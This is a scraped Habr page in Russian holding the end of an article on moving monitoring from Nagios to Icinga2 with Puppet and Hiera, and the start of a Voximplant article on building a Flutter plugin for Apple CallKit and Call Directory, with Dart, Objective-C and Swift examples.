$list_of_hosts_in_group = $list_of_hosts_with_settings['hosts']
$hostgroup_settings = $list_of_hosts_with_settings['settings']
$merged_hostgroup_settings = deep_merge($host_api_defaults, $list_of_hosts_with_settings['settings'])
$list_of_hosts_in_group.each | String $host_name, Hash $host_settings |{ # Splitting grouplists by hosts
# Is this host in the array $hosts_has_large_disks ? If so set host.vars.has_large_disks
if ( $hosts_has_large_disks.reduce(false) | $found, $value| { ( $value =~ "^${host_name}" ) or $found } ) {
$vars_has_large_disks = { 'has_large_disks' => true }
} else {
$vars_has_large_disks = {}
}
$host_data = deep_merge($merged_hostgroup_settings, $host_settings)
$hostgroup_settings_vars = pick($hostgroup_settings['vars'], {})
$host_settings_vars = pick($host_settings['vars'], {})
$host_api_notify_group = delete_undef_values($host_defaults['vars']['notify_group'] + $hostgroup_settings_vars['notify_group'] + $host_settings_vars['notify_group'])
$host_data_vars = delete_undef_values(deep_merge($host_data['vars'] , {'notify_group' => $host_api_notify_group}, $vars_has_large_disks))
$hostgroups = delete_undef_values([$hostgroup] + $host_data['groups'])
if defined(Profiles::Services::Monitoring::Host[$host_name]){
$hostname = "${host_name}_from_${zone}"
}
else
{
$hostname = $host_name
}
profiles::services::monitoring::host{$hostname:
ensure => $host_data['ensure'],
display_name => $host_data['display_name'],
address => $host_data['address'],
groups => $hostgroups,
target => "${host_data['target_base']}/${zone}/hosts.conf",
check_command => $host_data['check_command'],
check_interval => $host_data['check_interval'],
max_check_attempts => $host_data['max_check_attempts'],
vars => $host_data_vars,
template => $host_data['template'],
}
}
}
}
}
#### END OF HOSTS ####
#### SERVICES ####
$services.each | String $service_group, Hash $s_list |{ # Service_group and list of services in that group
$service_list = $s_list['checks'] # List of actual checks, separately from SG settings
$service_list.each | String $service_name, Hash $data |{
$merged_defaults = merge($service_defaults, $s_list['settings']) # global service defaults + service group defaults
$merged_data = merge($merged_defaults, $data)
$settings_vars = pick($s_list['settings']['vars'], {})
$this_service_vars = pick($data['vars'], {})
$all_service_vars = delete_undef_values($service_defaults['vars'] + $settings_vars + $this_service_vars)
# If we override default check_timeout, but not nrpe_timeout, make nrpe_timeout the same as check_timeout
if ( $merged_data['check_timeout'] and ! $this_service_vars['nrpe_timeout'] ) {
# NB: Icinga will convert 1m to 60 automatically!
$nrpe = { 'nrpe_timeout' => $merged_data['check_timeout'] }
} else {
$nrpe = {}
}
# By default we use nrpe and all commands are run via nrpe. So vars.nrpe_command = $service_name is a default value
# If it's server-side Icinga command - we don't need 'nrpe_command'
# but there is no harm to have that var and the code is shorter
if $merged_data['check_command'] == 'nrpe'{
$check_command = $merged_data['vars']['nrpe_command'] ? {
undef => { 'nrpe_command' => $service_name },
default => { 'nrpe_command' => $merged_data['vars']['nrpe_command'] }
}
}else{
$check_command = {}
}
# Assembling $vars from Global Default service settings, servicegroup settings, this particular check settings and let's not forget nrpe settings.
if $all_service_vars['graphite_template'] {
$graphite_template = {'check_command' => $all_service_vars['graphite_template']}
}else{
$graphite_template = {'check_command' => $service_name}
}
$service_notify = [] + pick($settings_vars['notify_group'], []) + pick($this_service_vars['notify_group'], []) # pick is required everywhere, otherwise becomes "The value '' cannot be converted to Numeric"
$service_notify_group = $service_notify ? {
[] => $service_defaults['vars']['notify_group'],
default => $service_notify
} # Assing default group (systems) if no other groups are defined
$vars = $all_service_vars + $nrpe + $check_command + $graphite_template + {'notify_group' => $service_notify_group}
# This needs to be merged separately, because merging it as part of MERGED_DATA overwrites arrays instead of merging them, so we lose some "assign" and "ignore" values
$assign = delete_undef_values($service_defaults['assign'] + $s_list['settings']['assign'] + $data['assign'])
$ignore = delete_undef_values($service_defaults['ignore'] + $s_list['settings']['ignore'] + $data['ignore'])
icinga2::object::service {$service_name:
ensure => $merged_data['ensure'],
apply => $merged_data['apply'],
enable_flapping => $merged_data['enable_flapping'],
assign => $assign,
ignore => $ignore,
groups => [$service_group],
check_command => $merged_data['check_command'],
check_interval => $merged_data['check_interval'],
check_timeout => $merged_data['check_timeout'],
check_period => $merged_data['check_period'],
display_name => $merged_data['display_name'],
event_command => $merged_data['event_command'],
retry_interval => $merged_data['retry_interval'],
max_check_attempts => $merged_data['max_check_attempts'],
target => $merged_data['target'],
vars => $vars,
template => $merged_data['template'],
}
}
}
#### END OF SERVICES ####
#### OTHER BORING STUFF ####
$servicegroups.each | $servicegroup, $description |{
icinga2::object::servicegroup{ $servicegroup:
target => $servicegroup_target,
display_name => $description
}
}
$hostgroups.each| String $hostgroup |{
profiles::services::monitoring::hostgroup { $hostgroup:}
}
$notifications.each | String $name, Hash $settings |{
$assign = pick($notification_defaults['assign'], []) + $settings['assign']
$ignore = pick($notification_defaults['ignore'], []) + $settings['ignore']
$merged_settings = $settings + $notification_defaults
icinga2::object::notification{$name:
target => $merged_settings['target'],
apply => $merged_settings['apply'],
apply_target => $merged_settings['apply_target'],
command => $merged_settings['command'],
interval => $merged_settings['interval'],
states => $merged_settings['states'],
types => $merged_settings['types'],
assign => delete_undef_values($assign),
ignore => delete_undef_values($ignore),
user_groups => $merged_settings['user_groups'],
period => $merged_settings['period'],
vars => $merged_settings['vars'],
}
}
# Merging notification settings for users with other settings
$users_oncall = deep_merge($users, $oncall)
# Magic. Do not touch.
create_resources('icinga2::object::user', $users_oncall, $user_defaults)
create_resources('icinga2::object::usergroup', $usergroups, $usergroup_defaults)
create_resources('icinga2::object::timeperiod',$timeperiods)
create_resources('icinga2::object::checkcommand', $check_commands)
create_resources('icinga2::object::notificationcommand', $notification_commands)
profiles::services::sudoers { 'icinga_runs_ping_l2':
ensure => present,
sudoersd_template => 'profiles/os/redhat/centos7/sudoers/icinga.erb',
}
}
```
Я до сих пор работаю над этой лапшой и улучшаю её по мере возможности. Однако именно такой код позволил использовать простой и понятный синтаксис в Hiera:
**Данные**
```
profiles::services::monitoring::config::services:
perf_checks:
settings:
check_interval: '2m'
assign:
- 'host.vars.type == linux'
checks:
procs: {}
load: {}
memory: {}
disk:
check_interval: '5m'
vars:
notification_period: '24x7'
disk_iops:
vars:
notifications:
- 'silent'
cpu:
vars:
notifications:
- 'silent'
dns_fqdn:
check_interval: '15m'
ignore:
- 'xenserver in host.groups'
vars:
notifications:
- 'silent'
iftraffic_nrpe:
vars:
notifications:
- 'silent'
logging:
settings:
assign:
- 'logserver in host.groups'
checks:
rsyslog: {}
nginx_limit_req_other: {}
nginx_limit_req_s2s: {}
nginx_limit_req_s2x: {}
nginx_limit_req_srs: {}
logstash: {}
logstash_api:
vars:
notifications:
- 'silent'
```
Все проверки разбиты на группы, у каждой группы есть дефолтные настройки вида где и как часто запускать эти проверки, какие уведомления отправлять и кому.
В каждой проверке можно переопределить любую опцию и всё это в итоге складывается ещё и с дефолтными настройками всех проверок в целом. Поэтому в config.pp и написана такая лапша — там идёт слияние всех дефолтных настроек с настройками групп и потом ещё с каждой индивидуальной проверкой.
Так же очень важным изменением стала возможность использовать функции в настройках, к примеру, функция подмены порта, адреса и url для проверки http\_regex.
```
http_regexp:
assign:
- 'host.vars.http_regex'
- 'static_sites in host.groups'
check_command: 'http'
check_interval: '1m'
retry_interval: '20s'
max_check_attempts: 6
http_port: '{{ if(host.vars.http_port) { return host.vars.http_port } else { return 443 } }}'
vars:
notification_period: 'host.vars.notification_period'
http_vhost: '{{ if(host.vars.http_vhost) { return host.vars.http_vhost } else { return host.name } }}'
http_ssl: '{{ if(host.vars.http_ssl) { return false } else { return true } }}'
http_expect_body_regex: 'host.vars.http_regex'
http_uri: '{{ if(host.vars.http_uri) { return host.vars.http_uri } else { return "/" } }}'
http_onredirect: 'follow'
http_warn_time: 8
http_critical_time: 15
http_timeout: 30
http_sni: true
```
Это означает — если в определении хоста есть переменная *http\_port* — использовать её, иначе 443. Например, web-интерфейс jabber висит на 9090, а Unifi — на 7443.
*http\_vhost* означает игнорировать DNS и брать этот адрес.
Если в хосте указан uri — то идти по нему, иначе брать "/".
С http\_ssl вышла забавная история — эта зараза никак не хотела отключаться по требованию. Я долго тупил в эту строку, пока до меня не дошло, что в переменная в определении хоста:
```
http_ssl: false
```
Подставляется в выражение
```
if(host.vars.http_ssl) { return false } else { return true }
```
как **false** и в итоге получается
```
if(false) { return false } else { return true }
```
то есть проверка ssl получается всегда активна. Решилось заменой синтаксиса:
```
http_ssl: no
```
**Выводы**:
Плюсы:
* У нас теперь одна система мониторинга, а не две, как было последние 7-8 месяцев, или одна, устаревшая и уязвимая.
* Структура данных хостов / служб(проверок)теперь (на мой взгляд) намного более читаема и понятна. Для других это оказалось не так очевидно, так что пришлось запилить пару страниц в местной вики для разъяснения как оно всё работает и что где править.
* Есть возможность гибкой настройки проверок с помощью переменных и функций, например для проверки http\_regexp искомый паттерн, код возврата, url и порт можно задавать в настройках хоста.
* Есть несколько панелей(dashboards), для каждой из готорых можно определить свой список отображаемых тревог и управлять всем этим через Puppet и merge requests.
Минусы:
* Инертность членов команды — Нагиос работал, работал и работал, а эта твоя Исинга постоянно глючит и тормозит. А как тут посмотреть историю? А, блин, она же не обновляется… (Реальная проблема — история тревог не обновляется автоматом, только по F5)
* Инертность системы — когда я кликаю в web-интерфейсе на "обновить" (check now) — результат выполнения зависит от погоды на Марсе, особенно на сложных сервисах, которые требуют десятки секунд для выполнения. Подобный результат — нормальное дело. 
* В целом по полугодовой статистике работы двух систем бок о бок Нагиос всегда отрабатывал быстрей, чем Icinga и это очень меня раздражало. Как мне кажется, там что-то намутили с таймерами и проверка раз в пять минут по факту идёт раз в 5:30 или что-то в этом духе.
* Если перезапустить сервис в любой момент времени (systemctl restart icinga2) — все проверки, которые на тот момент были в процессе выполнения, выдадут тревогу critical на экран и со стороны это выглядит, как будто вообще всё упало ([подтверждённый баг](https://github.com/Icinga/icinga2/issues/6873)).
Но в целом — оно работает. | https://habr.com/ru/post/444060/ | null | ru | null |
# Как мы подружили Flutter с CallKit Call Directory
[](https://habr.com/ru/company/Voximplant/blog/553422/)
Привет!
В этом лонгриде я расскажу о том, как мы в [Voximplant](https://voximplant.ru/?utm_source=habr&utm_medium=techarticle&utm_campaign=vox_flutter) пришли к реализации собственного Flutter плагина для использования [CallKit](https://developer.apple.com/documentation/callkit) во Flutter приложении, и в итоге оказались первыми, кто сделал поддержку блокировки/определения номеров через [Call Directory](https://developer.apple.com/documentation/callkit/cxcalldirectoryextensioncontext) для Flutter.
Что такое CallKit
=================
Apple CallKit – это фреймворк для интеграции звонков стороннего приложения в систему.
Если звонок из стороннего приложения отображается как нативный, то тут задействован CallKit. Если звонок из стороннего приложения отображается в списке звонков системного приложения Phone – тоже CallKit. Сторонние приложения, выступающие в качестве определителя номера – CallKit. Звонки из сторонних приложений, которые не могут пробиться через режим “Не беспокоить” – ну вы поняли.
*CallKit предоставляет сторонним разработчикам системный UI для отображения звонков*
А что с CallKit на Flutter?
---------------------------
CallKit является частью iOS SDK, во Flutter он не представлен, однако доступ к нему из Flutter возможен путём взаимодействия с нативным кодом. Для использования функциональности этого фреймворка потребуется подключить сторонний плагин, инкапсулирующий взаимодействие Flutter с iOS, или реализовывать всё самостоятельно, например, так:
*Пример реализации CallKit сервиса для Flutter, где код iOS приложения (platform code) связывает приложение Flutter с системой*
### Готовые решения с CallKit на Flutter
Итак, нам потребовалось интегрировать наше Flutter приложение для VoIP звонков с системой. Первым делом мы рассмотрели большинство из существующих сторонних решений и на какое-то время воспользовались одним из них. Однако этот и остальные доступные варианты вели по пути наименьшего сопротивления, которому сопутствовали характерные проблемы.
Существующие плагины частично или полностью оборачивали CallKit API в собственный высокоуровневый API. Таким образом терялась гибкость, а некоторые возможности становились недоступными. Из-за собственной реализации архитектуры и интерфейсов такие плагины содержали свои баги. Документация хромала или отсутствовала, а авторы некоторых из них прекратили поддержку почти сразу, что особенно опасно на быстроразвивающемся Flutter.
### Как мы пришли к созданию своего решения
Для простых сценариев на первое время это было приемлемо, однако, как только появлялся специфичный кейс, тут же появлялись неудобства. Приходилось изучать исходный код, чтобы выяснить, как именно этот плагин взаимодействует с CallKit. В конце концов могло обнаружиться, что реализовать требуемое вообще не выйдет из-за ограничений, накладываемых высокоуровневым API.
Мы задумались о том, чтобы реализовать своё решение с учетом этих недостатков.
Хотелось пойти по пути сохранения архитектуры и интерфейсов CallKit. Таким образом оставить пользователям всю гибкость, возможность использовать оригинальную документацию и оградить от потенциальных багов в собственной реализации.
Наша Реализация
===============
Нам удалось перенести всё CallKit API на Dart с сохранением иерархии классов и механизмов взаимодействия с ними.
*Наш плагин закрывает собой всю работу с платформой, при этом предоставляет идентичный интерфейс*
Коммуникация между Flutter и iOS асинхронна, так что пришлось поломать голову с реализацией некоторых деталей. Основной сложностью был функционал, требующий синхронного взаимодействия с той или иной стороны.
Например, нативное CallKit API `CXProviderDelegate.provider(_:execute:)` требует синхронно возвращать Bool значение:
```
optional func provider(_ provider: CXProvider,
execute transaction: CXTransaction) -> Bool
```
Этот метод вызывается каждый раз, когда нужно обработать новую транзакцию `CXTransaction`. Можно вернуть `true`, чтобы обработать транзакцию самостоятельно и уведомить об этом систему. Вернув `false`, получим дефолтное поведение, при котором для каждого `CXAction`, содержащегося в транзакции, будет вызван соответствующий метод обработчик в `CXProviderDelegate`.
Для переноса этого API в плагин требовалось объявить его в Dart коде так, чтобы пользователь мог управлять этим поведением, несмотря на асинхронный характер обмена данными между платформами. Возвращая в нативном коде значение `true`, мы смогли перенести управление транзакциями в Dart код, где выполняем ручную или автоматическую обработку `CXTransaction` в зависимости от значения, полученного от пользователя.
Проблемы с асинхронностью возникают и в нативной части. Например, есть iOS фреймворк PushKit, он не является частью CallKit, но часто они используются вместе, так что интеграция с ним была необходима. При получении VoIP пуша требуется немедленно уведомить CallKit о входящем звонке в нативном коде, в противном случае приложение упадет. Для обработки этого нюанса мы решили дать возможность репортить входящие звонки напрямую в CallKit из нативного кода без асинхронного “крюка” в виде Flutter. В итоге для этой интеграции реализовали несколько хелперов в нативной части плагина (доступны через `FlutterCallkitPlugin` iOS класс) и несколько на стороне Flutter (доступны через `FCXPlugin` Dart класс).
> Дополнительные возможности плагина мы объявили в его собственном классе, чтобы отделить интерфейс плагина от интерфейса CallKit.
>
>
**Как зарепортить входящий звонок напрямую в CallKit**
При получении VoIP пуша вызывается один из методов `PKPushRegistryDelegate.pushRegistry(_: didReceiveIncomingPushWith:)`. Здесь необходимо создать экземпляр `CXProvider` и вызвать `reportNewIncomingCall` для уведомления CallKit о звонке. Так как для дальнейшей работы со звонком необходим тот же экземпляр провайдера, мы добавили метод `FlutterCallkitPlugin.reportNewIncomingCallWithUUID` с нативной стороны плагина. При его вызове плагин сам зарепортит звонок в `CXProvider`, а так же вызовет `FCXPlugin.didDisplayIncomingCall` хендлер на стороне Dart для продолжения работы со звонком.
```
func pushRegistry(_ registry: PKPushRegistry,
didReceiveIncomingPushWith payload: PKPushPayload,
for type: PKPushType,
completion: @escaping () -> Void
) {
// Достаем необходимые данные из пуша
guard let uuidString = payload["UUID"] as? String,
let uuid = UUID(uuidString: uuidString),
let localizedName = payload["identifier"] as? String
else {
return
}
let callUpdate = CXCallUpdate()
callUpdate.localizedCallerName = localizedName
let configuration = CXProviderConfiguration(
localizedName: "ExampleLocalizedName"
)
// Репортим звонок в плагин, а он зарепортит его в CallKit
FlutterCallkitPlugin.sharedInstance.reportNewIncomingCall(
with: uuid,
callUpdate: callUpdate,
providerConfiguration: configuration,
pushProcessingCompletion: completion
)
}
```
**Подводя итог:** главной фишкой нашего плагина является то, что его использование на Flutter практически не отличается от использования нативного CallKit на iOS.
### One more thing
Но оставалось ещё кое-что в Apple CallKit, что мы не реализовали у себя (и не реализовал никто в доступных сторонних решениях). Это поддержка Call Directory App Extension.
Что такое Call Directory
========================
CallKit умеет блокировать и определять номера, доступ к этим возможностям для разработчиков открыт через специальное системное расширение – Call Directory. Подробнее про iOS app extensions можно почитать в [App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/index.html#//apple_ref/doc/uid/TP40014214).
*Call Directory app extension позволяет блокировать и/или идентифицировать номера*
Если вкратце, то это отдельный таргет iOS проекта, который запускается независимо от основного приложения по требованию системы.
Например, при получении входящего звонка iOS пытается определить или найти звонящего в списке заблокированных стандартными средствами. Если номер не был найден, система может запросить данные у доступных Call Directory расширений, чтобы так или иначе обработать звонок. В этот момент расширение должно эти номера “достать” из некого хранилища номеров. Само приложение может заполнять это хранилище номерами из своих баз в любое время. Таким образом, взаимодействия между расширением и приложением нет, обмен данными происходит через общее хранилище.
*Пример архитектуры для реализации Call Directory*
Примеры с передачей номеров в Call Directory уже есть на хабре: [раз](https://habr.com/ru/company/2gis/blog/323050/) и [два](https://habr.com/ru/company/touchinstinct/blog/333364/).
Подробнее про iOS App Extensions: [App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/index.html#//apple_ref/doc/uid/TP40014214).
Call Directory Extension на Flutter
-----------------------------------
Не так давно нам написал пользователь с запросом на добавление поддержки Call Directory. Начав изучать возможность реализации этой фичи, мы выяснили, что сделать Flutter API без необходимости написания пользователями нативного кода не выйдет. Проблема заключается в том, что, как было сказано выше, Call Directory работает в расширении. Оно запускается системой, работает очень короткое время и не зависит от приложения (и в том числе от Flutter). Таким образом, для поддержки этого функционала пользователю плагина так или иначе потребуется реализовать app extension и хранилище данных самостоятельно.
*Пример работы с Call Directory во Flutter приложении*
### Принятое решение
Несмотря на сложности с нативным кодом, мы твёрдо решили сделать использование Call Directory максимально удобным для пользователей нашего фреймворка.
Проверив возможность работы такого расширения в связке с Flutter приложением, мы принялись за проектирование. Решение должно было сохранить все Call Directory Manager API, а также требовать от пользователя минимум написания нативного кода и быть удобным для взаимодействия через Flutter.
Так мы сделали версию 1.2.0 с поддержкой Call Directory Extension.
Как мы реализовывали Call Directory для Flutter
===============================================
Итак, для реализации этого функционала требовалось учесть несколько аспектов:
* Перенести интерфейс класса CXCallDirectoryManager (CallKit объект позволяющий управлять Call Directory)
* Решить, что делать с app extension и хранилищем номеров для него
* Создать удобный способ передачи данных из Dart в натив и обратно для управления списками номеров из Flutter приложения
Перенос интерфейсов CXCallDirectoryManager во Flutter
-----------------------------------------------------
> Код, приведенный в статье, был специально упрощен для облегчения восприятия, полную версию кода можно найти по ссылкам в конце статьи. Для реализации плагина мы использовали Objective-C, так как он был выбран основным в проекте ранее. Интерфейсы CallKit представлены на Swift для простоты.
>
>
### Интерфейс
Первым делом посмотрим, что конкретно требуется перенести:
```
extension CXCallDirectoryManager {
public enum EnabledStatus : Int {
case unknown = 0
case disabled = 1
case enabled = 2
}
}
open class CXCallDirectoryManager : NSObject {
open class var sharedInstance: CXCallDirectoryManager { get }
open func reloadExtension(
withIdentifier identifier: String,
completionHandler completion: ((Error?) -> Void)? = nil
)
open func getEnabledStatusForExtension(
withIdentifier identifier: String,
completionHandler completion: @escaping (CXCallDirectoryManager.EnabledStatus, Error?) -> Void
)
open func openSettings(
completionHandler completion: ((Error?) -> Void)? = nil
)
}
```
Воссоздадим аналог `CXCallDirectoryManager.EnabledStatus` энама в Dart:
```
enum FCXCallDirectoryManagerEnabledStatus {
unknown,
disabled,
enabled
}
```
Теперь можно объявить класс и методы. Необходимости в `sharedInstance` в нашем интерфейсе нет, так что сделаем обычный Dart класс со static методами:
```
class FCXCallDirectoryManager {
static Future reloadExtension(String extensionIdentifier) async { }
static Future getEnabledStatus(
String extensionIdentifier,
) async { }
static Future openSettings() async { }
}
```
> Сохранение API важно, но так же важно учитывать платформенные и языковые code-style, чтобы использование интерфейса было понятно и удобно для пользователей плагина.
>
>
>
> Для API в Dart мы использовали более короткое название без слов-связок (длинное название пришло из objective-C) и заменили completion блок на Future. Future является стандартным механизмом, используемым для получения результата выполнения асинхронных методов в Dart. Мы также возвращаем Future из большинства Dart методов плагина, потому что коммуникация с нативным кодом происходит асинхронно.
>
>
>
> Было – `getEnabledStatusForExtension(withIdentifier:completionHandler:)`
>
>
>
> Стало – `Future getEnabledStatus(extensionIdentifier)`
>
>
>
>
### Реализация
**Для коммуникации между Flutter и iOS будем использовать `FlutterMethodChannel`.**
Подробнее про особенности работы этого канала связи можно почитать [здесь](https://flutter.dev/docs/development/platform-integration/platform-channels).
*On the Flutter side…*
Создадим объект `MethodChannel`:
```
const MethodChannel _methodChannel =
const MethodChannel('plugins.voximplant.com/flutter_callkit');
```
*On the iOS side…*
Первым делом iOS класс плагина нужно подписать на протокол `FlutterPlugin`, чтобы иметь возможность взаимодействовать с Flutter:
```
@interface FlutterCallkitPlugin : NSObject
@end
```
При инициализации плагина создадим `FlutterMethodChannel` с таким же идентификатором, что мы использовали выше:
```
+ (void)registerWithRegistrar:(NSObject\*)registrar {
FlutterMethodChannel \*channel
= [FlutterMethodChannel
methodChannelWithName:@"plugins.voximplant.com/flutter\_callkit"
binaryMessenger:[registrar messenger]];
FlutterCallkitPlugin \*instance
= [FlutterCallkitPlugin sharedPluginWithRegistrar:registrar];
[registrar addMethodCallDelegate:instance channel:channel];
}
```
Теперь можно использовать этот канал для вызова iOS методов из Flutter.
**Рассмотрим подробно реализацию методов в Dart и нативной части плагина на примере `getEnabledStatus`.**
*On the Flutter side…*
Реализация на Dart будет максимально проста и будет заключаться в вызове `MethodChannel.invokeMethod` с необходимыми аргументами, а также в обработке результата этого вызова.
**Про MethodChannel**
`MethodChannel` API позволяет асинхронно получить результат вызова из нативного кода посредством `Future`, но накладывает ограничения на передаваемые типы данных.
Итак, нам потребуется передать имя метода (его будем использовать в нативном коде для того, чтобы идентифицировать вызов) и аргумент `extensionIdentifier` в `MethodChannel.invokeMethod`, а затем преобразовать результат из простейшего типа `int` в `FCXCallDirectoryManagerEnabledStatus`. На случай ошибки в нативном коде следует обработать `PlatformException`.
```
static Future getEnabledStatus(
String extensionIdentifier,
) async {
try {
// Воспользуемся объектом MethodChannel для вызова
// соответствующего метода в платформенном коде
// с аргументом extensionIdentifier.
int index = await \_methodChannel.invokeMethod(
'Plugin.getEnabledStatus',
extensionIdentifier,
);
// Преобразуем результат в энам
// FCXCallDirectoryManagerEnabledStatus
// и вернем его значение пользователю
return FCXCallDirectoryManagerEnabledStatus.values[index];
} on PlatformException catch (e) {
// Если что-то пошло не так, обернем ошибку в собственный тип
// и отдадим пользователю
throw FCXException(e.code, e.message);
}
}
```
> Обратите внимание на идентификатор метода который мы использовали:
>
>
>
> `Plugin.getEnabledStatus`
>
>
>
> Слово перед точкой используется, для определения модуля ответственного за тот или иной метод.
>
>
>
> `getEnabledStatus` идентично названию метода во Flutter, а не в iOS (или Android).
>
>
>
>
*On the iOS side…*
Теперь переместимся в платформенный код и реализуем бэкенд для этого метода.
Вызовы через `FlutterMethodChannel` попадают в метод `handleMethodCall:result:`.
С помощью переданного ранее идентификатора можно определить, что за метод был вызван, достать из него аргументы и запустить выполнение логики. Больше пояснений в комментариях к коду:
```
- (void)handleMethodCall:(FlutterMethodCall*)call
result:(FlutterResult)result {
// Вызовы из Flutter можно идентифицировать по названию,
// которое передается в `FlutterMethodCall.method` проперти
if ([@"Plugin.getEnabledStatus" isEqualToString:call.method]) {
// При передаче аргументов с помощью MethodChannel,
// они упаковываются в `FlutterMethodCall.arguments`
// Извлечем extensionIdentifier, который
// мы передали сюда ранее из Flutter кода
NSString *extensionIdentifier = call.arguments;
if (isNull(extensionIdentifier)) {
// Если аргументы не валидны, вернём ошибку через
// `result` обработчик
// Ошибка должна быть упакована в `FlutterError`
// Она вылетит в виде PlatformException в Dart коде
result([FlutterError errorInvalidArguments:@"extensionIdentifier must not be null"]);
return;
}
// Теперь, когда метод обнаружен,
// а аргументы извлечены и провалидированы,
// можно реализовать саму логику
// Для взаимодействия с этой функциональностью CallKit
// потребуется экземпляр CallDirectoryManager
CXCallDirectoryManager *manager
= CXCallDirectoryManager.sharedInstance;
// Вызываем метод CallDirectoryManager
// с требуемой функциональностью
// и ожидаем результата
[manager
getEnabledStatusForExtensionWithIdentifier:extensionIdentifier
completionHandler:^(CXCallDirectoryEnabledStatus status,
NSError * _Nullable error) {
// completion с результатом вызова запустился,
// можем пробросить результат в Dart
// предварительно сконвертировав его в подходящие типы,
// так как через MethodChannel можно передавать
// лишь некоторые определенные типы данных.
if (error) {
// Ошибки передаются упакованные в `FlutterError`
result([FlutterError errorFromCallKitError:error]);
} else {
// Номера передаются упакованные в `NSNumber`
// Так как этот энам представлен значениями `NSInteger`,
// выполним требуемое преобразование
result([self convertEnableStatusToNumber:enabledStatus]);
}
}];
}
}
```
**По аналогии реализуем оставшиеся два метода FCXCallDirectoryManager**
*On the Flutter side…*
```
static Future reloadExtension(String extensionIdentifier) async {
try {
// Задаем идентификатор, передаем аргумент
// и вызываем платформенный метод
await \_methodChannel.invokeMethod(
'Plugin.reloadExtension',
extensionIdentifier,
);
} on PlatformException catch (e) {
throw FCXException(e.code, e.message);
}
}
static Future openSettings() async {
try {
// А этот метод не принимает аргументов
await \_methodChannel.invokeMethod(
'Plugin.openSettings',
);
} on PlatformException catch (e) {
throw FCXException(e.code, e.message);
}
}
```
*On the iOS side*…
```
if ([@"Plugin.reloadExtension" isEqualToString:call.method]) {
NSString *extensionIdentifier = call.arguments;
if (isNull(extensionIdentifier)) {
result([FlutterError errorInvalidArguments:@"extensionIdentifier must not be null"]);
return;
}
CXCallDirectoryManager *manager
= CXCallDirectoryManager.sharedInstance;
[manager
reloadExtensionWithIdentifier:extensionIdentifier
completionHandler:^(NSError * _Nullable error) {
if (error) {
result([FlutterError errorFromCallKitError:error]);
} else {
result(nil);
}
}];
}
if ([@"Plugin.openSettings" isEqualToString:call.method]) {
if (@available(iOS 13.4, *)) {
CXCallDirectoryManager *manager
= CXCallDirectoryManager.sharedInstance;
[manager
openSettingsWithCompletionHandler:^(NSError * _Nullable error) {
if (error) {
result([FlutterError errorFromCallKitError:error]);
} else {
result(nil);
}
}];
} else {
result([FlutterError errorLowiOSVersionWithMinimal:@"13.4"]);
}
}
```
Готово, CallDirectoryManager реализован и может быть использован.
[Подробнее про Platform-Flutter взаимодействие](https://flutter.dev/docs/development/platform-integration/platform-channels)
App Extension и хранилище номеров
---------------------------------
Так как из-за нахождения Call Directory в iOS расширении мы не сможем предоставить его реализацию с плагином, а работа с платформенным кодом обычно непривычна для Flutter разработчиков, не знакомых с нативной разработкой, постараемся по максимуму помочь им с помощью… Документации!
Реализуем полноценный пример app extension и хранилища и подключим их к example app нашего плагина.
В качестве простейшего варианта хранилища используем UserDefaults, которые обернем в propertyWrapper.
Примерно так выглядит интерфейс нашего хранилища:
```
// Доступ к хранилищу из iOS приложения
@UIApplicationMain
final class AppDelegate: FlutterAppDelegate {
@UserDefault("blockedNumbers", defaultValue: [])
private var blockedNumbers: [BlockableNumber]
@UserDefault("identifiedNumbers", defaultValue: [])
private var identifiedNumbers: [IdentifiableNumber]
}
// Доступ к хранилищу из app extension
final class CallDirectoryHandler: CXCallDirectoryProvider {
@UserDefault("blockedNumbers", defaultValue: [])
private var blockedNumbers: [BlockableNumber]
@UserDefault("identifiedNumbers", defaultValue: [])
private var identifiedNumbers: [IdentifiableNumber]
@NullableUserDefault("lastUpdate")
private var lastUpdate: Date?
}
```
Код имплементации хранилища:
[UserDefaults](https://github.com/voximplant/flutter_callkit/blob/master/example/ios/Runner/UserDefault.swift)
Код iOS приложения:
[iOS App Delegate](https://github.com/voximplant/flutter_callkit/blob/master/example/ios/Runner/AppDelegate.swift)
Код iOS расширения:
[iOS App Extension](https://github.com/voximplant/flutter_callkit/blob/master/example/ios/CallDirectoryExtensionExample/CallDirectoryHandler.swift)
> Обратите внимание, что примеры хранилища и расширения – это не часть плагина, а часть example приложения, идущего в комплекте с ним.
>
>
Передача номеров из Flutter в iOS и обратно
-------------------------------------------
Итак, app extension настроен и связан с хранилищем, необходимые методы CallDirectoryManager реализованы, осталась последняя деталь – научиться передавать номера из Flutter в платформенное хранилище или, наоборот, запрашивать номера оттуда.
Наиболее простым вариантом кажется взвалить передачу данных на пользователя плагина, тогда ему придется самостоятельно организовывать MethodChannel или использовать другие сторонние решения по управлению хранилищем. И, безусловно, кому-то это даже подойдет! :) А для остальных сделаем простое и удобное API, чтобы пробрасывать номера прямо через наш фреймворк. Этот функционал будем делать опциональным, чтобы не ограничивать тех, кому удобнее использовать свои способы передачи данных.
### Интерфейс
Посмотрим, какие интерфейсы могут понадобиться:
* Добавление блокируемых/идентифицируемых номеров в хранилище
* Удаление блокируемых/идентифицируемых номеров из хранилища
* Запрос блокируемых/идентифицируемых номеров из хранилища
*On the Flutter side…*
Для методов-хелперов мы ранее решили использовать классы плагина `FCXPlugin` (Flutter) и `FlutterCallkitPlugin` (iOS). Однако Call Directory является узкоспециализированным функционалом, который используется далеко не в каждом проекте. Поэтому хотелось вынести это в отдельный файл, но оставить доступ через объект класса `FCXPlugin`, для этого подойдет extension:
```
extension FCXPlugin_CallDirectoryExtension on FCXPlugin {
Future> getBlockedPhoneNumbers()
async { }
Future addBlockedPhoneNumbers(
List numbers,
) async { }
Future removeBlockedPhoneNumbers(
List numbers,
) async { }
Future removeAllBlockedPhoneNumbers() async { }
Future> getIdentifiablePhoneNumbers()
async { }
Future addIdentifiablePhoneNumbers(
List numbers,
) async { }
Future removeIdentifiablePhoneNumbers(
List numbers,
) async { }
Future removeAllIdentifiablePhoneNumbers() async { }
}
```
*On the iOS side…*
Чтобы со стороны Flutter получить доступ к номерам, которые находятся в неком хранилище на стороне iOS, пользователю плагина нужно будет как-то связать свою базу номеров с плагином. Для этого дадим ему такой интерфейс:
```
@interface FlutterCallkitPlugin : NSObject
@property(strong, nonatomic, nullable)
NSArray \*(^getBlockedPhoneNumbers)(void);
@property(strong, nonatomic, nullable)
void(^didAddBlockedPhoneNumbers)(NSArray \*numbers);
@property(strong, nonatomic, nullable)
